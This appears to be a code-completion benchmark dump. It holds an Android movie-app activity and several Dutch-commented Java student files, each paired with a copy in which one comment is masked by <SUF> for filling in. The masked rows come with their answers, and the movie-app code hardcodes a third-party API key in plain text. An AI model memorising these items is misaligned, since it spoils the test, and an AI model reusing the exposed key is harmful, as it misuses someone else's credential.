import com.makeramen.roundedimageview.RoundedImageView;
import com.squareup.picasso.Picasso;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import id.radityo.moviedatabase.Database.MovieModel;
import id.radityo.moviedatabase.Database.RealmHelper;
import id.radityo.moviedatabase.Review.ReviewAdapter;
import id.radityo.moviedatabase.Review.Reviewer;
import id.radityo.moviedatabase.Trailer.Quicktime.QuicktimeAdapter;
import id.radityo.moviedatabase.Trailer.Quicktime.Quicktimes;
import id.radityo.moviedatabase.Trailer.Youtube.YoutubeAdapter;
import id.radityo.moviedatabase.Trailer.Youtube.Youtubes;
import io.realm.Realm;
import io.realm.RealmConfiguration;
import io.realm.RealmList;
import io.realm.RealmResults;
import okhttp3.ResponseBody;
import retrofit2.Call;
import retrofit2.Callback;
import retrofit2.Response;
public class DetailActivity extends AppCompatActivity {
public final String API_KEY = "ce64212de916313a39e9490b889fb667";
private static final String TAG = "movie";
TextView tvYear, tvDuration, tvRating, tvSinopsis, tvNoTrailer, tvTitle, tvNoReview;
RoundedImageView rivImage;
Button addFavorite;
ProgressBar progressBarReview, progressBarTrailer;
RecyclerView rvReview, rvYoutube, rvQuicktime;
List<Reviewer> reviewsList = new ArrayList<>(); // TODO: perubahan dari list ke realmlist
ReviewAdapter reviewAdapter;
List<Youtubes> youtubesList = new ArrayList<>(); //youtube's List
YoutubeAdapter youtubeAdapter;
List<Quicktimes> quicktimesList = new ArrayList<>(); //quicktime's List
QuicktimeAdapter quicktimeAdapter;
RealmList<Reviewer> reviewers;
List<Reviewer> list;
RealmResults<Reviewer> results;
RealmResults<Youtubes> resultsYoutube;
RealmResults<Quicktimes> resultsQuicktime;
Realm realm;
MovieModel movieModel = new MovieModel();
RealmHelper realmHelper;
public int movieId;
public String name;
private boolean ada = movieModel.isExisting();
//AdapterFavorit adapterFavorit = new AdapterFavorit(new Or, true, quicktimesList, this);
@Override
protected void onCreate(final Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_detail);
//Realm
Realm.init(DetailActivity.this);
RealmConfiguration configuration = new RealmConfiguration.Builder().build();
realm = Realm.getInstance(configuration);
realmHelper = new RealmHelper(realm);
//Getting intent
final String title = getIntent().getStringExtra("title");
final String posterPath = getIntent().getStringExtra("poster_path");
final String year = getIntent().getStringExtra("year");
final String sinopsis = getIntent().getStringExtra("sinopsis");
final float rate = getIntent().getFloatExtra("rate", 0);
movieId = getIntent().getIntExtra("movie_id", 0);
//Logging
Log.e(TAG, "###movieId: " + movieId);
Log.e(TAG, "###title: " + title);
Log.e(TAG, "###year: " + year);
Log.e(TAG, "###rate: " + rate);
Log.e(TAG, "###posterPath: " + posterPath);
//Customize action bar
getSupportActionBar().setDisplayShowHomeEnabled(true);
getSupportActionBar().setDisplayHomeAsUpEnabled(true);
getSupportActionBar().setHomeButtonEnabled(true);
getSupportActionBar().setTitle("Detail");
getSupportActionBar().setElevation(0f);
getSupportActionBar().setHomeAsUpIndicator(R.drawable.ic_arrow_back_black_24dp);
LinearLayout llNggantung = findViewById(R.id.ll_nggantung);
llNggantung.setElevation(5f);
//Finding view
tvTitle = findViewById(R.id.tv_title_detail);
tvDuration = findViewById(R.id.tv_duration_detail);
tvRating = findViewById(R.id.tv_rate_detail);
tvSinopsis = findViewById(R.id.tv_sinopsis_detail);
tvYear = findViewById(R.id.tv_year_detail);
tvNoReview = findViewById(R.id.tv_no_review);
tvNoTrailer = findViewById(R.id.tv_no_trailer);
rivImage = findViewById(R.id.iv_image_detail);
addFavorite = findViewById(R.id.bt_add_favorite);
rvReview = findViewById(R.id.rv_review);
rvYoutube = findViewById(R.id.rv_youtube);
rvQuicktime = findViewById(R.id.rv_quicktime);
progressBarReview = findViewById(R.id.progress_bar_review);
progressBarTrailer = findViewById(R.id.progress_bar_trailer);
tvNoTrailer.setVisibility(View.GONE);
tvNoReview.setVisibility(View.GONE);
rvReview.setLayoutManager(new LinearLayoutManager(this, 1, false));
rvReview.setHasFixedSize(true);
rvYoutube.setLayoutManager(new LinearLayoutManager(this, 1, false));
rvYoutube.setHasFixedSize(true);
rvQuicktime.setLayoutManager(new LinearLayoutManager(this, 1, false));
rvQuicktime.setHasFixedSize(true);
// reviewsList = realmHelper.getAllReviews();
// youtubesList = realmHelper.ge
if (!reviewsList.isEmpty()) {
progressBarReview.setVisibility(View.GONE);
}
if (!youtubesList.isEmpty() || !quicktimesList.isEmpty()) {
progressBarTrailer.setVisibility(View.GONE);
}
//Realm Result
results = realm.where(Reviewer.class).equalTo("movieId", movieId).findAll();
results.load();
resultsYoutube = realm.where(Youtubes.class).equalTo("movieId", movieId).findAll();
resultsYoutube.load();
resultsQuicktime = realm.where(Quicktimes.class).equalTo("movieId", movieId).findAll();
resultsQuicktime.load();
hitReviewsItem(API_KEY); //hit review
hitTrailersItem(API_KEY); //hit trailer
hitDetailsItem(API_KEY); //hit details
reviewsList.addAll(realmHelper.findAll(Reviewer.class, "movieId", movieId));
youtubesList.addAll(realmHelper.findAllTrailers(Youtubes.class, "name", name));
quicktimesList.addAll(realmHelper.findAllTrailers(Quicktimes.class, "name", name));
//Checking Condition and OnClick
/**Jika movieId ternyata ada
di database button dan aksinya diubah**/
if (realm.where(MovieModel.class).equalTo("movieId", movieId).count() > 0) {
movieModel.setExisting(true);
addFavorite.setText(getString(R.string.del_from_favorite));
addFavorite.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
if (movieModel.isExisting()) {
realmHelper.delete(movieId);
movieModel.setExisting(false);
addFavorite.setText(getString(R.string.add_to_favorite));
Log.e(TAG, "### delete");
Snackbar.make(v, title + " dihapus dari favorit", Snackbar.LENGTH_LONG).show();
} else {
if (!title.isEmpty() && movieId != 0) {
movieModel.setMovieId(movieId);
movieModel.setTitle(title);
movieModel.setYear(year);
movieModel.setPosterPath(posterPath);
movieModel.setSinopsis(sinopsis);
movieModel.setRating(rate);
movieModel.setExisting(true);
realmHelper.save(movieModel);
realmHelper.saveObject(reviewsList);
realmHelper.saveObject(youtubesList);
realmHelper.saveObject(quicktimesList);
addFavorite.setText(getString(R.string.del_from_favorite));
Snackbar.make(v, title + " ditambahkan ke favorit", Snackbar.LENGTH_LONG).show();
Log.e("movie", "### saveObject reviews : " + reviewsList);
Log.e("movie", "### saveObject youtube : " + youtubesList);
Log.e("movie", "### saveObject quicktime : " + quicktimesList);
} else {
Toast.makeText(DetailActivity.this, "Tidak dapat menambahkan", Toast.LENGTH_SHORT).show();
}
}
}
});
} else {
movieModel.setExisting(false);
addFavorite.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
if (!movieModel.isExisting()) {
if (!title.isEmpty() && movieId != 0) {
movieModel.setMovieId(movieId);
movieModel.setTitle(title);
movieModel.setYear(year);
movieModel.setPosterPath(posterPath);
movieModel.setSinopsis(sinopsis);
movieModel.setRating(rate);
movieModel.setExisting(true);
realmHelper.save(movieModel);
realmHelper.saveObject(reviewsList);
realmHelper.saveObject(youtubesList);
realmHelper.saveObject(quicktimesList);
addFavorite.setText(getString(R.string.del_from_favorite));
Snackbar.make(v, title + " ditambahkan ke favorit", Snackbar.LENGTH_LONG).show();
Log.e(TAG, "### add");
Log.e("movie", "### saveObject reviews : " + reviewsList);
Log.e("movie", "### saveObject youtube : " + youtubesList);
Log.e("movie", "### saveObject quicktime : " + quicktimesList);
} else {
Toast.makeText(DetailActivity.this, "Tidak dapat menambahkan", Toast.LENGTH_SHORT).show();
}
} else {
realmHelper.delete(movieId);
movieModel.setExisting(false);
addFavorite.setText(getString(R.string.add_to_favorite));
Snackbar.make(v, title + " dihapus dari favorit", Snackbar.LENGTH_LONG).show();
}
}
});
}
// addFavorite.setText(getString(R.string.del_from_favorite));
// addFavorite.setOnClickListener(new View.OnClickListener() {
// @Override
// public void onClick(View v) {
// if (movieModel.isExisting()) { // jika sudah ada
// realmHelper.delete(movieId);
// movieModel.setExisting(false);
// addFavorite.setText(getString(R.string.add_to_favorite));
// Snackbar.make(v, title + " dihapus dari favorit", Snackbar.LENGTH_LONG).show();
// Log.e(TAG, "###" + title + " dihapus dari favorit");
// } else {
// if (!title.isEmpty() && movieId != 0) {
// movieModel.setMovieId(movieId);
// movieModel.setTitle(title);
// movieModel.setYear(year);
// movieModel.setPosterPath(posterPath);
// movieModel.setSinopsis(sinopsis);
// movieModel.setRating(rate);
// movieModel.setExisting(true);
//
// realmHelper.save(movieModel);
// realmHelper.saveObject(reviewsList);
// realmHelper.saveObject(youtubesList);
// realmHelper.saveObject(quicktimesList);
// addFavorite.setText(getString(R.string.add_to_favorite));
// Snackbar.make(v, title + " ditambahkan ke favorit", Snackbar.LENGTH_LONG).show();
// Log.e(TAG, "###" + title + " ditambahkan ke favorit");
// Log.e("movie", "### saveObject reviews : " + reviewsList);
// Log.e("movie", "### saveObject youtube : " + youtubesList);
// Log.e("movie", "### saveObject quicktime : " + quicktimesList);
// } else {
// Toast.makeText(DetailActivity.this, "Tidak dapat menambahkan", Toast.LENGTH_SHORT).show();
// }
// }
// }
// });
Picasso.get()
.load(posterPath)
.placeholder(R.drawable.ic_photo_black_24dp)
.into(rivImage);
tvTitle.setText(title);
tvYear.setText(year.substring(0, 4));
String rating = String.valueOf(rate) + "/10";
tvRating.setText(rating);
tvSinopsis.setText(sinopsis);
// if (movieModel.getReviewsList() != null) {
//// if (_movieModel.getReviewsList().size()<SUF>
// Log.e(TAG, "### List from MovieModel : NOT NULL");
//// list = _movieModel.getReviewsList();
//// reviewAdapter = new ReviewAdapter(list, DetailActivity.this);
//// rvReview.setAdapter(reviewAdapter);
//// reviewAdapter.notifyDataSetChanged();
//// } else {
//// Log.e(TAG, "### List from MovieModel : SIZE IS 0");
//// Log.e(TAG, "### List from MovieModel : " + _movieModel.getReviewsList());
//// reviewAdapter = new ReviewAdapter(reviewsList, DetailActivity.this);
//// rvReview.setAdapter(reviewAdapter);
//// reviewAdapter.notifyDataSetChanged();
//// }
// } else {
// Log.e(TAG, "### List from MovieModel : IS NULL");
// }
}
private void hitReviewsItem(String apiKey) {
APIInterface service = ApiClient.getReviews(movieId);
Call<ResponseBody> call = service.reviewItem(apiKey);
call.enqueue(new Callback<ResponseBody>() {
@Override
public void onResponse(Call<ResponseBody> call, final Response<ResponseBody> response) {
if (response.isSuccessful()) {
reviewAdapter = new ReviewAdapter(reviewsList, DetailActivity.this);
rvReview.setAdapter(reviewAdapter); // TODO: perpindahan dari atas ke bawah
progressBarReview.setVisibility(View.GONE);
try {
reviewsList.clear();
String respon = response.body().string();
JSONObject object1 = new JSONObject(respon);
//saving
int movieId = object1.getInt("id");
int page = object1.getInt("page");
JSONArray array = object1.getJSONArray("results");
if (array.length() == 0) {
tvNoReview.setVisibility(View.VISIBLE);
}
for (int p = 0; p < array.length(); p++) {
JSONObject object2 = array.getJSONObject(p);
//saving
String author = object2.getString("author");
String content = object2.getString("content");
String id = object2.getString("id");
String url = object2.getString("url");
//setting
// TODO: set reviews to model
Reviewer review = new Reviewer();
review.setAuthor(author);
review.setContent(content);
review.setId(id);
review.setUrl(url);
review.setMovieId(movieId);
reviewsList.add(review);
}
// reviewAdapter = new ReviewAdapter(reviewsList, DetailActivity.this);
reviewAdapter.notifyDataSetChanged();
} catch (JSONException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
} else {
runOnUiThread(new Runnable() {
@Override
public void run() {
reviewAdapter = new ReviewAdapter(results, DetailActivity.this);
rvReview.setAdapter(reviewAdapter);
reviewAdapter.notifyDataSetChanged();
progressBarReview.setVisibility(View.GONE);
Log.e(TAG, "###respon message from review : " + response.message());
Log.e(TAG, "###respon errorBody from review : " + response.errorBody());
//reviewAdapter.notifyDataSetChanged();
}
});
}
}
@Override
public void onFailure(Call<ResponseBody> call, Throwable t) {
reviewAdapter = new ReviewAdapter(results, DetailActivity.this);
rvReview.setAdapter(reviewAdapter);
reviewAdapter.notifyDataSetChanged();
progressBarReview.setVisibility(View.GONE);
Toast.makeText(DetailActivity.this, getString(R.string.no_internet), Toast.LENGTH_SHORT).show();
Log.e(TAG, "NO INTERNET CONNECTION");
t.getLocalizedMessage();
t.getMessage();
t.printStackTrace();
}
});
}
private void hitTrailersItem(String apiKey) {
APIInterface service = ApiClient.getTrailers(movieId);
Call<ResponseBody> call = service.trailersItem(apiKey);
call.enqueue(new Callback<ResponseBody>() {
@Override
public void onResponse(Call<ResponseBody> call, final Response<ResponseBody> response) {
if (response.isSuccessful()) {
youtubeAdapter = new YoutubeAdapter(youtubesList, DetailActivity.this);
rvYoutube.setAdapter(youtubeAdapter);
quicktimeAdapter = new QuicktimeAdapter(quicktimesList, DetailActivity.this);
rvQuicktime.setAdapter(quicktimeAdapter);
Log.e(TAG, "### RESPONSE IS SUCCESSFUL GAN");
progressBarTrailer.setVisibility(View.GONE);
try {
youtubesList.clear();
quicktimesList.clear();
String respon = response.body().string();
JSONObject object1 = new JSONObject(respon);
JSONArray qucktimeArray = object1.getJSONArray("quicktime");
JSONArray youtubeArray = object1.getJSONArray("youtube");
Log.e(TAG, "youtubeArray GAN!!! : " + youtubeArray);
if (qucktimeArray.length() == 0 && youtubeArray.length() == 0) {
tvNoTrailer.setVisibility(View.VISIBLE);
}
if (qucktimeArray.length() == 0) {
Log.e(TAG, "Quicktime array is NULL");
/*do nothing*/
} else {
for (int p = 0; p < qucktimeArray.length(); p++) {
JSONObject objectQ = qucktimeArray.getJSONObject(p);
name = objectQ.getString("name");
String size = objectQ.getString("size");
String source = objectQ.getString("source");
String type = objectQ.getString("type");
// TODO: set trailers to model
Quicktimes trailerQ = new Quicktimes();
trailerQ.setName(name);
trailerQ.setType(type);
trailerQ.setSource(source);
trailerQ.setSize(size);
trailerQ.setMovieId(movieId);
quicktimesList.add(trailerQ);
}
quicktimeAdapter.notifyDataSetChanged();
}
if (youtubeArray.length() == 0) {
Log.e(TAG, "Youtube array is NULL");
/*do nothing*/
} else {
for (int p = 0; p < youtubeArray.length(); p++) {
JSONObject objectY = youtubeArray.getJSONObject(p);
name = objectY.getString("name");
String size = objectY.getString("size");
String source = objectY.getString("source");
String type = objectY.getString("type");
Youtubes trailerY = new Youtubes();
trailerY.setName(name);
trailerY.setSize(size);
trailerY.setSource(source);
trailerY.setType(type);
trailerY.setMovieId(movieId);
youtubesList.add(trailerY);
}
youtubeAdapter.notifyDataSetChanged();
}
} catch (IOException e) {
e.printStackTrace();
} catch (JSONException e) {
e.printStackTrace();
}
} else {
runOnUiThread(new Runnable() {
@Override
public void run() {
youtubeAdapter = new YoutubeAdapter(resultsYoutube, DetailActivity.this);
rvYoutube.setAdapter(youtubeAdapter);
youtubeAdapter.notifyDataSetChanged();
quicktimeAdapter = new QuicktimeAdapter(resultsQuicktime, DetailActivity.this);
rvQuicktime.setAdapter(quicktimeAdapter);
quicktimeAdapter.notifyDataSetChanged();
Log.e(TAG, "###respon message from trailer : " + response.message());
Log.e(TAG, "###respon errorBody from trailer : " + response.errorBody());
}
});
}
}
@Override
public void onFailure(Call<ResponseBody> call, Throwable t) {
youtubeAdapter = new YoutubeAdapter(resultsYoutube, DetailActivity.this);
rvYoutube.setAdapter(youtubeAdapter);
youtubeAdapter.notifyDataSetChanged();
quicktimeAdapter = new QuicktimeAdapter(resultsQuicktime, DetailActivity.this);
rvQuicktime.setAdapter(quicktimeAdapter);
quicktimeAdapter.notifyDataSetChanged();
progressBarTrailer.setVisibility(View.GONE);
Log.e(TAG, "NO INTERNET CONNECTION");
t.getLocalizedMessage();
t.getMessage();
t.printStackTrace();
onFailToConnect();
}
});
}
private void hitDetailsItem(String apiKey) {
APIInterface service = ApiClient.getDetails(movieId);
Call<ResponseBody> call = service.detailsItem(movieId, apiKey);
call.enqueue(new Callback<ResponseBody>() {
@Override
public void onResponse(Call<ResponseBody> call, final Response<ResponseBody> response) {
if (response.isSuccessful()) {
try {
String respon = response.body().string();
JSONObject object1 = new JSONObject(respon);
int duration = object1.getInt("runtime");
String dur = String.valueOf(duration) + " Min";
tvDuration.setText(dur);
} catch (JSONException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
} else {
runOnUiThread(new Runnable() {
@Override
public void run() {
try {
Log.e(TAG, "###response from details not success \n"
+ response.errorBody().string()
+ "\n" + response.message());
} catch (IOException e) {
e.printStackTrace();
}
}
});
}
}
@Override
public void onFailure(Call<ResponseBody> call, Throwable t) {
t.getLocalizedMessage();
t.getMessage();
t.printStackTrace();
// onFailToConnect();
}
});
}
private void onFailToConnect() {
progressBarTrailer.setVisibility(View.GONE);
progressBarReview.setVisibility(View.GONE);
/*relativeLayout.setVisibility(View.VISIBLE);
button.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
hitPopularItem(API_KEY);
}
});*/
}
@Override
public boolean onSupportNavigateUp() {
onBackPressed();
return true;
}
@Override
protected void onRestart() {
super.onRestart();
}
}
|
36231_10 | package voetbalmanager.model;
import java.util.ArrayList;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
/**
* Spelers die beschikbaar zijn op de spelersmarkt om te kopen.
* @author Marco
*
*/
public class BeschikbareSpeler {
private Speler speler;
private Team oudTeam;
/**
* Maakt de beschikbare speler die terecht kan komen op de spelersmarkt
* @param speler De speler die op de markt gezet is.
* @param oudTeam Het oude team van deze speler.
*/
public BeschikbareSpeler(Speler speler, Team oudTeam){
this.oudTeam = oudTeam;
this.speler = speler;
}
public boolean equals(Object other){
if(other instanceof BeschikbareSpeler){
BeschikbareSpeler that =(BeschikbareSpeler)other;
return this.speler.equals(that.speler)
&&this.oudTeam.equals(that.oudTeam);
}
return false;
}
/**
* Geeft het oude team van de speler
* @return Team
*/
public Team getOudTeam(){
return oudTeam;
}
/**
* Geeft alle informatie over de speler
* @return Speler
*/
public Speler getSpeler(){
return speler;
}
/**
* Methode voor de AI om te bepalen of BeschikbareSpelers het waard zijn om te kopen.
* @param spelers De spelers van het team.
* @return boolean
*/
public boolean moetKopen(ArrayList<Speler> spelers) {
Speler.Type a = speler.getType();
int totaalType =0;
double totaalScore = 0;
for(Speler inTeam: spelers){
if(inTeam.getType()==a){
totaalType++;
totaalScore =totaalScore+inTeam.getSpelerWaarde();
}
}
if(speler.getSpelerWaarde()>totaalScore/totaalType)
return true;
return false;
}
/**
* Methode voor de AI om de kans te vergroten dat ze een speler kopen
* @param spelers Spelers uit het team
* @return integer Het aantal spelers wat slechter is dan de Beschikbare Speler.
*/
public int besluitKoop(ArrayList<Speler> spelers){
Speler.Type a = speler.getType();
int j=0;
for(Speler inTeam: spelers){
if(inTeam.getType()==a&&inTeam.getSpelerWaarde()<speler.getSpelerWaarde()){
j++;
}
}
return j;
}
/**
* Creeer een beschikbare speler uit een xml element en de competitie waarin hij zich bevindt.
* @param el Het element dat ingeladen moet worden.
* @param c De competitie waarin de speler zich bevindt.
* @return Een beschikbarespeler die overeenkomt met de gegevens uit het element.
*/
public static BeschikbareSpeler laadXMLElement(Element el, Competitie c) {
Team t = c.zoekTeam(el.getAttribute("team"));
Speler s = t.zoekSpeler(el.getAttribute("speler"));
// Speler s = Speler.laadXMLElement((Element) el.getElementsByTagName("speler").item(0));
// if(t==null) System.out.println("De speler " + s.getNaam() + " heeft geen oud team in de transfermarkt.");
BeschikbareSpeler bsp;
return bsp = new BeschikbareSpeler(s,s.getTeam());
// return new BeschikbareSpeler(s, t);
}
/**
* Creeer een element die deze instantie van deze beschikbarespeler weergeeft.
* @param doc Het document waarin het element wordt gebruikt.
* @return Een nieuw element met de eigenschappen van deze instantie.
*/
public Element getXMLElement(Document doc) {
Element el = doc.createElement("beschikbarespeler");
el.setAttribute("team", oudTeam.getNaam());
el.setAttribute("speler", speler.getNaam());
// el.appendChild(speler.getXMLElement(doc));
return el;
}
}
| 8uurg/OOP-Project-6.2 | src/voetbalmanager/model/BeschikbareSpeler.java | 1,239 | /**
* Creeer een element die deze instantie van deze beschikbarespeler weergeeft.
* @param doc Het document waarin het element wordt gebruikt.
* @return Een nieuw element met de eigenschappen van deze instantie.
*/ | block_comment | nl | package voetbalmanager.model;
import java.util.ArrayList;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
/**
* Spelers die beschikbaar zijn op de spelersmarkt om te kopen.
* @author Marco
*
*/
public class BeschikbareSpeler {
private Speler speler;
private Team oudTeam;
/**
* Maakt de beschikbare speler die terecht kan komen op de spelersmarkt
* @param speler De speler die op de markt gezet is.
* @param oudTeam Het oude team van deze speler.
*/
public BeschikbareSpeler(Speler speler, Team oudTeam){
this.oudTeam = oudTeam;
this.speler = speler;
}
public boolean equals(Object other){
if(other instanceof BeschikbareSpeler){
BeschikbareSpeler that =(BeschikbareSpeler)other;
return this.speler.equals(that.speler)
&&this.oudTeam.equals(that.oudTeam);
}
return false;
}
/**
* Geeft het oude team van de speler
* @return Team
*/
public Team getOudTeam(){
return oudTeam;
}
/**
* Geeft alle informatie over de speler
* @return Speler
*/
public Speler getSpeler(){
return speler;
}
/**
* Methode voor de AI om te bepalen of BeschikbareSpelers het waard zijn om te kopen.
* @param spelers De spelers van het team.
* @return boolean
*/
public boolean moetKopen(ArrayList<Speler> spelers) {
Speler.Type a = speler.getType();
int totaalType =0;
double totaalScore = 0;
for(Speler inTeam: spelers){
if(inTeam.getType()==a){
totaalType++;
totaalScore =totaalScore+inTeam.getSpelerWaarde();
}
}
if(speler.getSpelerWaarde()>totaalScore/totaalType)
return true;
return false;
}
/**
* Methode voor de AI om de kans te vergroten dat ze een speler kopen
* @param spelers Spelers uit het team
* @return integer Het aantal spelers wat slechter is dan de Beschikbare Speler.
*/
public int besluitKoop(ArrayList<Speler> spelers){
Speler.Type a = speler.getType();
int j=0;
for(Speler inTeam: spelers){
if(inTeam.getType()==a&&inTeam.getSpelerWaarde()<speler.getSpelerWaarde()){
j++;
}
}
return j;
}
/**
* Creeer een beschikbare speler uit een xml element en de competitie waarin hij zich bevindt.
* @param el Het element dat ingeladen moet worden.
* @param c De competitie waarin de speler zich bevindt.
* @return Een beschikbarespeler die overeenkomt met de gegevens uit het element.
*/
public static BeschikbareSpeler laadXMLElement(Element el, Competitie c) {
Team t = c.zoekTeam(el.getAttribute("team"));
Speler s = t.zoekSpeler(el.getAttribute("speler"));
// Speler s = Speler.laadXMLElement((Element) el.getElementsByTagName("speler").item(0));
// if(t==null) System.out.println("De speler " + s.getNaam() + " heeft geen oud team in de transfermarkt.");
BeschikbareSpeler bsp;
return bsp = new BeschikbareSpeler(s,s.getTeam());
// return new BeschikbareSpeler(s, t);
}
/**
* Creeer een element<SUF>*/
public Element getXMLElement(Document doc) {
Element el = doc.createElement("beschikbarespeler");
el.setAttribute("team", oudTeam.getNaam());
el.setAttribute("speler", speler.getNaam());
// el.appendChild(speler.getXMLElement(doc));
return el;
}
}
|
7543_4 | package org.rastalion.chapter20_collections.demo5;
import java.util.LinkedList;
import java.util.Queue;
public class QueueApp {
public static void main (String[] args) {
//We gaan hier een LinkedList maken,
//En definieren deze als een Queue
//Dit kan dankzij polymorphism!!
Queue<String> queue = new LinkedList<>();
//add a Person to the Queue
//verzameling.
queue.offer("Ted");
queue.offer("BuuBuu");
queue.offer("Elliot");
queue.offer("Cece");
queue.offer("Alex");
//gaat kijken naar het element
//uit de verzameling maar gaat deze
//er niet uithalen.
String s = queue.peek();
while (s != null) {
//we gonna take the first element and
//remove this from the Queue
System.out.println("About to handle: " + s);
s = queue.poll();
System.out.println("Handling: " + s);
s = queue.peek();
}
}
}
| 93design/Java_Basis_Opl | Demo's/20 Collections/demo5/QueueApp.java | 290 | //gaat kijken naar het element | line_comment | nl | package org.rastalion.chapter20_collections.demo5;
import java.util.LinkedList;
import java.util.Queue;
public class QueueApp {
public static void main (String[] args) {
//We gaan hier een LinkedList maken,
//En definieren deze als een Queue
//Dit kan dankzij polymorphism!!
Queue<String> queue = new LinkedList<>();
//add a Person to the Queue
//verzameling.
queue.offer("Ted");
queue.offer("BuuBuu");
queue.offer("Elliot");
queue.offer("Cece");
queue.offer("Alex");
//gaat kijken<SUF>
//uit de verzameling maar gaat deze
//er niet uithalen.
String s = queue.peek();
while (s != null) {
//we gonna take the first element and
//remove this from the Queue
System.out.println("About to handle: " + s);
s = queue.poll();
System.out.println("Handling: " + s);
s = queue.peek();
}
}
}
|
24509_4 | /*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package henkapp;
import java.util.Objects;
/**
*
* @author Stijn
*/
public class Persoon implements Comparable<Persoon>{
private String naam;
private String plaats;
private String telefoon;
Persoon(String naam, String plaats, String telefoon) {
this.naam = naam;
this.plaats = plaats;
this.telefoon = telefoon;
}
@Override
public String toString() {
return naam + " - " + telefoon;
}
public String getNaam() {
return naam;
}
public void setNaam(String naam) {
this.naam = naam;
}
public String getPlaats() {
return plaats;
}
public void setPlaats(String plaats) {
this.plaats = plaats;
}
public String getTelefoon() {
return telefoon;
}
public void setTelefoon(String telefoon) {
this.telefoon = telefoon;
}
boolean contentEquals(Persoon p) {
if (this.naam.equals(p.getNaam())) {
if (this.plaats.equals(p.getPlaats())) {
if (this.telefoon.equals(p.getTelefoon())) {
return true;
}
}
}
return false;
}
//Bron: http://stackoverflow.com/questions/185937/overriding-the-java-equals-method-quirk
@Override
public boolean equals(Object other) {
if (other == null) { //Wanneer het andere object null is zijn de twee ongelijk
return false;
}
if (other.hashCode() == this.hashCode()) {
return true;
}
if (!(other instanceof Persoon)) {
return false;
}
Persoon otherPersoon = (Persoon) other;
if (this.naam.equals(otherPersoon.getNaam())) {
if (this.plaats.equals(otherPersoon.getPlaats())) {
if (this.telefoon.equals(otherPersoon.getTelefoon())) {
return true;
}
}
}
return false;
}
// Automatisch gegenereerde hashCode() methode
// Geen aanpassingen omdat het me zo goed lijkt
@Override
public int hashCode() {
int hash = 7;
hash = 83 * hash + Objects.hashCode(this.naam);
hash = 83 * hash + Objects.hashCode(this.plaats);
hash = 83 * hash + Objects.hashCode(this.telefoon);
return hash;
}
// Bron:http://www.tutorialspoint.com/java/java_using_comparator.htm
// Vergelijken van de namen.
@Override
public int compareTo(Persoon o) {
return (this.naam).compareTo(o.naam);
}
}
| 94BasMulder/JCF4MitStijn | HenkApp/src/henkapp/Persoon.java | 864 | // Geen aanpassingen omdat het me zo goed lijkt
| line_comment | nl | /*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package henkapp;
import java.util.Objects;
/**
*
* @author Stijn
*/
public class Persoon implements Comparable<Persoon>{
private String naam;
private String plaats;
private String telefoon;
Persoon(String naam, String plaats, String telefoon) {
this.naam = naam;
this.plaats = plaats;
this.telefoon = telefoon;
}
@Override
public String toString() {
return naam + " - " + telefoon;
}
public String getNaam() {
return naam;
}
public void setNaam(String naam) {
this.naam = naam;
}
public String getPlaats() {
return plaats;
}
public void setPlaats(String plaats) {
this.plaats = plaats;
}
public String getTelefoon() {
return telefoon;
}
public void setTelefoon(String telefoon) {
this.telefoon = telefoon;
}
boolean contentEquals(Persoon p) {
if (this.naam.equals(p.getNaam())) {
if (this.plaats.equals(p.getPlaats())) {
if (this.telefoon.equals(p.getTelefoon())) {
return true;
}
}
}
return false;
}
//Bron: http://stackoverflow.com/questions/185937/overriding-the-java-equals-method-quirk
@Override
public boolean equals(Object other) {
if (other == null) { //Wanneer het andere object null is zijn de twee ongelijk
return false;
}
if (other.hashCode() == this.hashCode()) {
return true;
}
if (!(other instanceof Persoon)) {
return false;
}
Persoon otherPersoon = (Persoon) other;
if (this.naam.equals(otherPersoon.getNaam())) {
if (this.plaats.equals(otherPersoon.getPlaats())) {
if (this.telefoon.equals(otherPersoon.getTelefoon())) {
return true;
}
}
}
return false;
}
// Automatisch gegenereerde hashCode() methode
// Geen aanpassingen<SUF>
@Override
public int hashCode() {
int hash = 7;
hash = 83 * hash + Objects.hashCode(this.naam);
hash = 83 * hash + Objects.hashCode(this.plaats);
hash = 83 * hash + Objects.hashCode(this.telefoon);
return hash;
}
// Bron:http://www.tutorialspoint.com/java/java_using_comparator.htm
// Vergelijken van de namen.
@Override
public int compareTo(Persoon o) {
return (this.naam).compareTo(o.naam);
}
}
|
101441_28 | /* Class: ReadItem
* Parent class: Item
* Purpose: To temporarily store info about the read words of a sentence
* Version: Thinknowlogy 2018r4 (New Science)
*************************************************************************/
/* Copyright (C) 2009-2018, Menno Mafait. Your suggestions, modifications,
* corrections and bug reports are welcome at http://mafait.org/contact/
*************************************************************************/
/* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
*************************************************************************/
package org.mafait.thinknowlogy;
class ReadItem extends Item
{
// Private initialized variables
private boolean isUncountableGeneralizationNoun_ = false;
private short wordOrderNr_ = Constants.NO_ORDER_NR;
private short wordParameter_ = Constants.NO_WORD_PARAMETER;
private short wordTypeNr_ = Constants.NO_WORD_TYPE_NR;
private WordItem readWordItem_ = null;
// Protected constructed variables
protected boolean hasWordPassedIntegrityCheckOfStoredUserSentence = false;
protected boolean isMarkedBySetGrammarParameter = false;
protected short grammarParameter = Constants.NO_GRAMMAR_PARAMETER;
protected GrammarItem definitionGrammarItem = null;
// Protected initialized variables
protected String readString = null;
// Constructor
